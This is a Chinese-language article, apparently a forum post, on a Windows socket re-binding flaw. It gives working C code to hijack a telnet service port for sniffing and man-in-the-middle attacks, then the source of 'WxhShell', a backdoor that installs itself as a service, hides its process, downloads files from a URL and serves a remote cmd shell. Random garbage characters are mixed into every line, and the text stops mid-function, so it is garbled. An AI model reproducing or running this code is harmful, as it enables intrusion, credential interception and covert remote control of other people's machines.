在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
AH^/V}9H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
A"]YM'. rp$'L7lrX saddr.sin_family = AF_INET;
V`- 9m$ !g[Zfo2r" saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>7|VR:U?B Ac@VGT:9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
s[jTP(d)8 uT"rq:N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
K0~rN.C!0 9w"*y#_ 这意味着什么?意味着可以进行如下的攻击:
1?}T=)3+$ DQ3<$0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
dN q$} h{Y",7]! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
D7Z /H'| LV Ge]lD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Xvu(vA tw;}jh 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!0+JbZ<%r| 1M 6D3d_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
a(nlTMfu dd;~K&_Q/i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<E~'.p, X'srL j. 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dV_G1' ]^E?;1$f? #include
e6*8K@LHB #include
**%37 #include
lxx2H1([ #include
"jZ-,P= DWORD WINAPI ClientThread(LPVOID lpParam);
.#gzP2 [q int main()
79gT+~z {
N8jIMb'< WORD wVersionRequested;
Cdn J&N{ DWORD ret;
k[xSbs'D WSADATA wsaData;
0mE 0 j BOOL val;
pBHRa?Y5 SOCKADDR_IN saddr;
^qs $v06 SOCKADDR_IN scaddr;
t Q)qCk07 int err;
_6Sp QW SOCKET s;
B\~}3!j SOCKET sc;
)9g2D`a4 int caddsize;
|Cv!,]9:r HANDLE mt;
(.:e,l{U% DWORD tid;
ah "o~Cbj wVersionRequested = MAKEWORD( 2, 2 );
/^ts9: err = WSAStartup( wVersionRequested, &wsaData );
>MZ/|`[M if ( err != 0 ) {
h p1Bi printf("error!WSAStartup failed!\n");
7Q 3 k7 return -1;
Txu/{M, }
6K^#?Bn; saddr.sin_family = AF_INET;
BPrt'Nc Nn6%9PX_) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kiEa<-] w)f#V s saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:#Wd~~d saddr.sin_port = htons(23);
*dQSw)R if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5pX6t {
f*Hr^b}`8 printf("error!socket failed!\n");
z{
dEC % return -1;
&C}*w2]0S }
=_CzH(=f# val = TRUE;
3o*YzwRt //SO_REUSEADDR选项就是可以实现端口重绑定的
-).C if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)0`C@um {
hN_]6,<\ printf("error!setsockopt failed!\n");
X|dlt{Gf
return -1;
&oNAv-m^GD }
VbYdZCC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)%TmAaj9d //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
8*X4\3:*N //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zLQx%Yg! }MySaL> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
w0.
u\ {
".%k6W<n ret=GetLastError();
g)-te+?6 printf("error!bind failed!\n");
5P bW[ return -1;
PCA4k.,T }
HS$r8`S?) listen(s,2);
3]hWfj1m2 while(1)
:FF=a3/"6 {
4euO1= caddsize = sizeof(scaddr);
gXU8hTd8 //接受连接请求
u8^lB7!e/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7GGUV if(sc!=INVALID_SOCKET)
*CMx- _ {
+@UV?"d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
t20K!}D_ if(mt==NULL)
TeQV?ZQ#} {
7zMr:JmV printf("Thread Creat Failed!\n");
%T[]zJ( break;
BtZ yn7a }
sW$XH1Uf# }
g(g& TO CloseHandle(mt);
[g,}gyeS( }
\V:^h[ad closesocket(s);
*8q.YuZ WSACleanup();
+ZYn? #IQ return 0;
!D6]JPX }
P>T"cv DWORD WINAPI ClientThread(LPVOID lpParam)
NK+o1 {
KvSG; SOCKET ss = (SOCKET)lpParam;
\vNU,WO SOCKET sc;
Gj*9~*xm( unsigned char buf[4096];
%O<BfIZ SOCKADDR_IN saddr;
Cx"sw
} long num;
xno\s.H%] DWORD val;
XW9!p.*.U DWORD ret;
_F{C\} //如果是隐藏端口应用的话,可以在此处加一些判断
}Jw,>} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]n~V!hl?A saddr.sin_family = AF_INET;
a*;b^Ze`v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?2a $*( saddr.sin_port = htons(23);
yZ:qU({KhD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ac6=(B {
%y@AA>x! printf("error!socket failed!\n");
ysN3 return -1;
y(Td/rY. }
9uY'E'm* val = 100;
Tw%
3p= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
13PS2 {
zDp 2g) ret = GetLastError();
Z)!C'c b return -1;
J4utIGF }
=41xkAMnk if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dx]>(e@(t{ {
e!`i3KYn" ret = GetLastError();
!k%#R4*> return -1;
q4q6c")zp }
:,^gj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Cw%{G'O {
c,22*.V/ printf("error!socket connect failed!\n");
zi:BF60]= closesocket(sc);
ax2B ]L2 closesocket(ss);
]Dzlp7Y} return -1;
=sFTxd_"iQ }
mmsPLv6 while(1)
wBzC5T%, {
]9L
oZ) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
fVwUe _Y //如果是嗅探内容的话,可以再此处进行内容分析和记录
f::Dx1VcX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'yth'[ num = recv(ss,buf,4096,0);
B *vM0 if(num>0)
$(9U @N9E send(sc,buf,num,0);
!W0v >p else if(num==0)
A
>$I
-T+ break;
+"(jjxJm num = recv(sc,buf,4096,0);
!BI;C(,RL if(num>0)
#g=XUZ/" send(ss,buf,num,0);
V]N?6\Op else if(num==0)
X8|EHb< break;
%SI'BJ }
`6YN3XS closesocket(ss);
K^$=dLp closesocket(sc);
':W[ A return 0 ;
HDKbF/ }
P4?glh q# b[yiq$K/ 2tLJU Z1 ==========================================================
:]c3|J h~26WLf. 下边附上一个代码,,WXhSHELL
N7_"H>O$0U M;NX:mX9 ==========================================================
6RM/GM Ie^l~Gb #include "stdafx.h"
9kojLqCT 7KPwQ?SjT #include <stdio.h>
3F0 N^)@ #include <string.h>
V1?]|HTQcT #include <windows.h>
G
j1_!.T #include <winsock2.h>
ca}2TT&t #include <winsvc.h>
-+5>|N# #include <urlmon.h>
!c-*O<Y fV:83|eQ #pragma comment (lib, "Ws2_32.lib")
.o8t+X'G #pragma comment (lib, "urlmon.lib")
@6d[=!9
Y~Ifj,\ #define MAX_USER 100 // 最大客户端连接数
IAEAhqp #define BUF_SOCK 200 // sock buffer
4=.so~9odX #define KEY_BUFF 255 // 输入 buffer
^&)|sP b2]Kx&! #define REBOOT 0 // 重启
jIF
|P- #define SHUTDOWN 1 // 关机
Bf:Q2slqI {U1m.30n #define DEF_PORT 5000 // 监听端口
XM}hUJJW l]cFqLp #define REG_LEN 16 // 注册表键长度
to\Ni~a& #define SVC_LEN 80 // NT服务名长度
TKjFp%
9akH // 从dll定义API
o.\oA6P_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
rbQR,Nf2x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<1pEwI~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
RL<c>PY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Ha ]YJ} 0Qd:`HF[ // wxhshell配置信息
d1kJRJ struct WSCFG {
iCyfOh int ws_port; // 监听端口
_rYkis^u char ws_passstr[REG_LEN]; // 口令
|%v^W 3 int ws_autoins; // 安装标记, 1=yes 0=no
I l.K"ll char ws_regname[REG_LEN]; // 注册表键名
Ve=b16H char ws_svcname[REG_LEN]; // 服务名
%bfZn9_m char ws_svcdisp[SVC_LEN]; // 服务显示名
'n|5ZhXPB char ws_svcdesc[SVC_LEN]; // 服务描述信息
v
LZoa-w: char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Wl Sm int ws_downexe; // 下载执行标记, 1=yes 0=no
Sc
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
N<-Gk6`C/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
FC*[* wAd9 };
BZxvJQ fT{Yg /j // default Wxhshell configuration
j.kG};f struct WSCFG wscfg={DEF_PORT,
9/;P->wy "xuhuanlingzhe",
=2 kG%9 1,
E E'!|N3 "Wxhshell",
W%)Y#C "Wxhshell",
9/7u*>: "WxhShell Service",
tl].r|yl "Wrsky Windows CmdShell Service",
;>YzEo "Please Input Your Password: ",
$g7<Y*t[ 1,
!a<ng&H^U "
http://www.wrsky.com/wxhshell.exe",
+MLVbK "Wxhshell.exe"
&=Wlaa/,& };
KdlQ!5(?X V>
bCKtf& // 消息定义模块
j5ve2LiFV% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
EIQ
p>|5 char *msg_ws_prompt="\n\r? for help\n\r#>";
MS]r:X6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]7mt[2Cd char *msg_ws_ext="\n\rExit.";
gdoLyxQ char *msg_ws_end="\n\rQuit.";
`@
FYkH char *msg_ws_boot="\n\rReboot...";
jSA jcLR char *msg_ws_poff="\n\rShutdown...";
AK#1]i~ char *msg_ws_down="\n\rSave to ";
'=6\v! ;\l,5EG char *msg_ws_err="\n\rErr!";
"Pf~iwfw char *msg_ws_ok="\n\rOK!";
PuO&wI]: hL5|69E char ExeFile[MAX_PATH];
nLiY%x`S int nUser = 0;
`g})|Gx HANDLE handles[MAX_USER];
)Z
VD+X int OsIsNt;
N36_C;K-z &I406Z f7y SERVICE_STATUS serviceStatus;
;'Nd~:-] SERVICE_STATUS_HANDLE hServiceStatusHandle;
QwJyY{O` ow#1="G,= // 函数声明
9M9?%N:ra int Install(void);
]cN1c} int Uninstall(void);
~= -RK$= int DownloadFile(char *sURL, SOCKET wsh);
uH-)y,2& int Boot(int flag);
BCcjK6' void HideProc(void);
3Hm/(C int GetOsVer(void);
7`YEH2 int Wxhshell(SOCKET wsl);
Y#3c }qb void TalkWithClient(void *cs);
VYhbx
'e int CmdShell(SOCKET sock);
AFfAtu int StartFromService(void);
0AV c int StartWxhshell(LPSTR lpCmdLine);
2dzrRH A= {UL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
p6WX9\qS( VOID WINAPI NTServiceHandler( DWORD fdwControl );
,=mS,r7 D )'bH5 // 数据结构和表定义
orvp*F{7[H SERVICE_TABLE_ENTRY DispatchTable[] =
$2el&I {
-
CWywuD {wscfg.ws_svcname, NTServiceMain},
y|q3Wa {NULL, NULL}
nJLFfXWx };
8Bg;Kh6B TBrPf-Xr // 自我安装
Fr$5RAyg int Install(void)
(@}!0[[^ {
V#}kwON char svExeFile[MAX_PATH];
kE(mVyLQ HKEY key;
0<B$#8 strcpy(svExeFile,ExeFile);
tdaL/rRe v]c6R-U // 如果是win9x系统,修改注册表设为自启动
/^|Dbx!u if(!OsIsNt) {
n\.V qe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
LYg-
.~<I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
zNuJj L RegCloseKey(key);
t!\tF[9e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XF_pN[} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C{XmVc. RegCloseKey(key);
f>Jr|#k return 0;
K!]/(V(} }
*r% c }
O<;3M'y\ }
0,8okAH else {
E=w1=,/y <V6VMYXY4 // 如果是NT以上系统,安装为系统服务
B !=F2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
HgkC~' if (schSCManager!=0)
,<p}o\6 {
t>B;w14 SC_HANDLE schService = CreateService
|qZ1| (
7
^mL_SMj schSCManager,
P_p<`sC9 wscfg.ws_svcname,
?8Cq{ wscfg.ws_svcdisp,
aCLq k' SERVICE_ALL_ACCESS,
}I6vqG SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
G<^{&E+= SERVICE_AUTO_START,
78H'ax9m SERVICE_ERROR_NORMAL,
_OC<[A svExeFile,
nL.<[]r NULL,
+|>kCtZH% NULL,
Q( {
r@*g NULL,
;?g6QIN9 NULL,
;
p {[1 NULL
M|(Q0 _8
);
Vr1<^Ib if (schService!=0)
|WdPE@P {
%\Mo-Ow!\ CloseServiceHandle(schService);
gH3vk $WS CloseServiceHandle(schSCManager);
JOim3(5?s strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Sw^u3 strcat(svExeFile,wscfg.ws_svcname);
">jj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}sO&. ME RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
W#C*5@ 8 RegCloseKey(key);
M6-&R=78K return 0;
fku<,SV$O4 }
X=8{$: }
:e%Pvk CloseServiceHandle(schSCManager);
zeC
RK+- }
6ez<g
Uf }
kO*$"w#X[p KC#q@InK return 1;
xDoC( }
} c}_<#I Ev(>z-{F // 自我卸载
s1=G; int Uninstall(void)
e?=^;v%r {
E5lBdM>2 HKEY key;
6}Y#= } :#?5X|Gz if(!OsIsNt) {
<r`2)[7N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X;c'[q RegDeleteValue(key,wscfg.ws_regname);
vVe';|8v RegCloseKey(key);
KOuCHqCfq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>R!jB]5 RegDeleteValue(key,wscfg.ws_regname);
rOOT8nkR# RegCloseKey(key);
r_6ZO& return 0;
0h\smqm }
Hi1JLW, }
vucxt }Ti }
A/KJqiag else {
!~D}/Q;#}\ r^a7MHY1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
i,4>0o? if (schSCManager!=0)
y6,/:qm {
{I #]@, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1@1U/ss1 if (schService!=0)
^y1j.M@q {
XkF%.hWo if(DeleteService(schService)!=0) {
1\>^m CloseServiceHandle(schService);
?9\EN|O^ CloseServiceHandle(schSCManager);
,+xB$e return 0;
q$tUH)0 }
9-DZU,`P CloseServiceHandle(schService);
kep/+J-u }
`FTy+8mw CloseServiceHandle(schSCManager);
'JfdV%M }
gSUcx9f] }
i?g5_HI iQ
fJ return 1;
)ZqTwEr@[ }
Tewb?: ,TN
2 // 从指定url下载文件
ime\f*Fg int DownloadFile(char *sURL, SOCKET wsh)
Dq5j1m. {
&6YIn|} HRESULT hr;
vchm"p?9) char seps[]= "/";
qHrA%k^!2O char *token;
Md2>3- char *file;
lWc:$qnR-K char myURL[MAX_PATH];
orfO^;qTY char myFILE[MAX_PATH];
C=It* j55 K]0:?h;%Ld strcpy(myURL,sURL);
Q[pV!CH token=strtok(myURL,seps);
vUU9$x while(token!=NULL)
M)N?qRD {
$yYO_ZBiy file=token;
n3Z5t token=strtok(NULL,seps);
fb8g7H| }
O8u j`G 9 D+z?wuXk GetCurrentDirectory(MAX_PATH,myFILE);
>JCM.I0_| strcat(myFILE, "\\");
^1aAjYFn strcat(myFILE, file);
7-T{a<g send(wsh,myFILE,strlen(myFILE),0);
s6zNV4 send(wsh,"...",3,0);
aL%AQB, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>wBJy4: if(hr==S_OK)
CS-uNG6 return 0;
Q[I=T& else
,Bo>E: u return 1;
b e-~\ @ mkF" }
}36QsH8 ?yR&/a // 系统电源模块
?)X,0P' int Boot(int flag)
"zFNg'; {
[uls8
"^/j HANDLE hToken;
d'$T4yA TOKEN_PRIVILEGES tkp;
&PK\|\\2 [E
JQ>?D if(OsIsNt) {
1/-43B OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ICkp$u^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
q51Uf_\/ tkp.PrivilegeCount = 1;
p2udm! )J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
qt
2d\f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)>-ibf`#? if(flag==REBOOT) {
WjwLM2<nK7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
iN0nw]_* return 0;
nMvKTH }
$.v5~UGb{\ else {
ehG/zVgn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
MR<;i2p return 0;
HnCzbt@ }
I=9!Rs(QF }
$Gv9m else {
ez!C? if(flag==REBOOT) {
<_Q:'cx' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ql?=(b;D return 0;
5N*Ux4M }
Zg`Mz
_? else {
/E5 5Pec if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
qt^T6+faaQ return 0;
*`Yv.=cd }
jSuL5|Gui }
Ch%m 2hQ>: return 1;
m[@Vf9 }
`o?Ph&p} FEW_bP/4 // win9x进程隐藏模块
1`9xIm*9w void HideProc(void)
${nX:!) {
e^Ky<*Y -x4X O`b HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,qrQ"r9 if ( hKernel != NULL )
{$^DMANDx {
b-*3 2Y% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
CZt \JW+" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
\3jW~FV FreeLibrary(hKernel);
n?urE-_ }
JiU9CeD3 Ze3X$%kWi return;
{;
>Q.OX@ }
.eO?Z^ \y{Tn@7 // 获取操作系统版本
t/PlcV_M" int GetOsVer(void)
;kJA'|GX {
$<|lE/_] OSVERSIONINFO winfo;
PeE/iZ. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
I]y.8~xs GetVersionEx(&winfo);
AkT<2H|4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
cl*PFQp9j return 1;
T'aec]u else
Z0>DNmH* return 0;
A?T<",bO }
([VV%ovZ
!!nuAQ"E[ // 客户端句柄模块
n7YEG-J int Wxhshell(SOCKET wsl)
3o|I[!2. {
tDCw- SOCKET wsh;
<JwX_\?ln struct sockaddr_in client;
$eBX DWORD myID;
+EM_TTf4 AisN@ while(nUser<MAX_USER)
on7I
l {
q(5+xSg"gK int nSize=sizeof(client);
\OpoBXh wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:ECi+DxBK if(wsh==INVALID_SOCKET) return 1;
@&hnL9D8lL =_8Tp~j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
sfVf@0g if(handles[nUser]==0)
eb8w~ closesocket(wsh);
xT)psM'CL else
m%8qZzqk nUser++;
2w$twW- }
.~gl19#:T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
6R29$D|HFO qJ_1*!!91 return 0;
Bz`yfl2 }
l**;k+hw V=:_ d, // 关闭 socket
<vbIp& void CloseIt(SOCKET wsh)
?QDWuPhN {
J%]D%2vnk` closesocket(wsh);
=N|kn<h4 nUser--;
2_t=P|Uo ExitThread(0);
t%r :4, }
ARfRsPxr ~H}en6Rc // 客户端请求句柄
m!OMrZ%)} void TalkWithClient(void *cs)
<39!G7ny {
s/1 #DM" u.|~$yP.! SOCKET wsh=(SOCKET)cs;
wn11\j& char pwd[SVC_LEN];
gK3Mms]}m char cmd[KEY_BUFF];
C+MSVc char chr[1];
/LQ:Sv7 int i,j;
mi2o1"Jd$` ~-F?Mc while (nUser < MAX_USER) {
Ok%}|/P4 |H ;+1 if(wscfg.ws_passstr) {
xkA2g[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Jll-X\O`- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!|m9| //ZeroMemory(pwd,KEY_BUFF);
wX'}4Z=C~ i=0;
YJ2ro-X while(i<SVC_LEN) {
czBi Dk4 aN^IP // 设置超时
|[cdri^?D fd_set FdRead;
3LlU] struct timeval TimeOut;
0d\~"4 R FD_ZERO(&FdRead);
QlW=_Ymv{ FD_SET(wsh,&FdRead);
f8:$G.}i TimeOut.tv_sec=8;
I/UQ' xx TimeOut.tv_usec=0;
/b.oEGqZX int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
nb@" ?<L! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
G"S5ki`o zb2K;%Qs+f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
hE!7RM+Y pwd
=chr[0]; J^I7BsZ
if(chr[0]==0xd || chr[0]==0xa) { E:VGji7s
pwd=0; Y~"9L|`f/
break; ~r`Wr`]_ z
} nJVp.*S
i++; te2
Iu%5 z
} GzdgL"M[
Qm);6X
// 如果是非法用户,关闭 socket =2oUZjA
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f:%SW
} DA
LQ<iF
&
QY#3yj=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bx(w:]2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "oE* 9J?e
o1YU_k<#
while(1) { vO$ra5Z
0MpS4tW0=
ZeroMemory(cmd,KEY_BUFF); bc}dYK3$q
0:dB
9
// 自动支持客户端 telnet标准 xYR#%! M
j=0; /Antb6E
while(j<KEY_BUFF) { .k]#XoE
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z/vDgH!s
cmd[j]=chr[0]; org*z!;.
if(chr[0]==0xa || chr[0]==0xd) { r69WD
.
cmd[j]=0; 9oq)X[
break; 5V|tXsy:
} *j<@yG2\gP
j++; O:u%7V/
}
gNa#|
hh&Js'd
// 下载文件 &N{zkMf
if(strstr(cmd,"http://")) { %\yK5V5
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?0npEz|
if(DownloadFile(cmd,wsh)) )Z:m)k>r;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~.Q4c*_b
else =QiT)9q)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l @A"U)A(
} nO@+s
F
else { kukaim>K
ALR:MAXwC
switch(cmd[0]) { .! j#3J..u
p}8ratmN
// 帮助 &HxT41pku
case '?': { WLy7'3@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B,0+HoP
break; X RRJ)}P
} >q &L/N5
// 安装 fm6]CU1^
case 'i': { l\U*sro<
if(Install()) ;qT5faKB3J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Th+|*=Il
else hgj0tIi/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T{~M iC6A
break; 4(iS-8{J
} 7z>+w
// 卸载 L{K*~B -p
case 'r': { *dVD
if(Uninstall()) F`D9Zfd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #wD7 \X-f
else T Xl\hL\+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Q,n+ /
break; Hc
/wta
} ;.r2$/E
// 显示 wxhshell 所在路径 1G_xP^H!
case 'p': { a}GAB@YI
char svExeFile[MAX_PATH]; R]VTV7D
strcpy(svExeFile,"\n\r"); |3|wdzV
strcat(svExeFile,ExeFile); 7rPLnB]
send(wsh,svExeFile,strlen(svExeFile),0); PoY>5
break; 5EfY9}dl
} mN7&%Z
// 重启 >2t
cEz%
case 'b': { DlS&qFs
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k2wBy'M.'
if(Boot(REBOOT)) j>V"hf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =*[, *A
else { mC"7)&,F
closesocket(wsh); 9$EHK
ExitThread(0); r)%4-XeV
} %y3:SUOdx
break; 5A;"jp^ Z
} e)br`CD%
// 关机 M;> ha,x
case 'd': { cnC_#kp
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {!g?d<*
if(Boot(SHUTDOWN)) }RH lYN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <f[9j u
else { +%x^ RV}
closesocket(wsh); 4KZ SL:A
ExitThread(0); >5df@_'
} w4`!Te
break; `GP3D~
} 7ia"u+Y
// 获取shell ]P
JH'=
case 's': { H.)fOctbO
CmdShell(wsh); IS .g);Gj
closesocket(wsh); t0+t9w/fTP
ExitThread(0); 2kC^7ZAwu
break; [gTQ-
} }3Df]
// 退出 jf2y0W>6s
case 'x': { 8R
BDJ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }[
7Nb90v
CloseIt(wsh); Mn-<5 1.%
break; _y|[Z;
} AK%=DVkM
// 离开 R+k=Ea&x
case 'q': { a_xQ~:H
send(wsh,msg_ws_end,strlen(msg_ws_end),0); d!w1t=2H
closesocket(wsh); 0%#t[usY
WSACleanup(); ?i/73H+;D3
exit(1); uFMs^^#
break; fHW-Je7mG
} %!>k#F^S
} s}Xi2^x
} -%saeX Wo
osI- o~#>
// 提示信息 jg7d7{{SB
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aYqqq|
} u2f `|+1^y
} 4p*?7g_WVH
.Y+mwvLpRG
return; \-DM-NrZ1U
} sTJJE3TBI
1 VPg`+o
// shell模块句柄 b;SFI^
int CmdShell(SOCKET sock) YL;SxLY
{ 6R0D3kW
STARTUPINFO si; }3bQ>whF
ZeroMemory(&si,sizeof(si)); K
lPm=
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U$MWsDn
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [B.W1 GL!
PROCESS_INFORMATION ProcessInfo; pq%t@j(X
char cmdline[]="cmd"; y-D>xV)n
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L;
@aE[#z
return 0; F%w\D9+P
} E
`?S!*jm
&;'w8_K"^
// 自身启动模式 JkRGt Yq
int StartFromService(void) 9)8*FahW
{ wn&[1gBxM
typedef struct -Pv P
{ |p'_k(z}
DWORD ExitStatus; 4;B=Qoxe
DWORD PebBaseAddress; /5Gnb.zN)
DWORD AffinityMask; 1uK)1%vK
